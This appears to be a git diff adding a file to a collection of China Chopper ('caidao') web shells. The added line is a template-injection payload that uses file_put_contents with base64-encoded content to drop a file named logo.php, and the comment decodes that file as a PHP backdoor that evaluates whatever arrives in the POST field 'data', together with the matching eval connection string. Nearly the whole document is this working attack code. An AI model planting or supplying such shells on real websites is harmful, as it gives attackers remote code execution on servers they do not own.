diff --git a/caidao-shell/w02.php b/caidao-shell/w02.php
new file mode 100644
index 0000000..6c2b285
--- /dev/null
+++ b/caidao-shell/w02.php
@@ -0,0 +1,7 @@
+{$phpinfo()'];file_put_contents(base64_decode('bG9nby5waHA='),base64_decode('PD9waHAgQHByZWdfcmVwbGFjZSgiL1tEYXRhYmFzZV0vZSIgLCRfUE9TVFtkYXRhXSwgImVycm9yIik7ID8+'));/*}
+
+/* logo.php
+<?php @preg_replace("/[Database]/e" ,$_POST[data], "error"); ?>
+<O>Data=@eval($_POST[data]);</O>
+data
+*/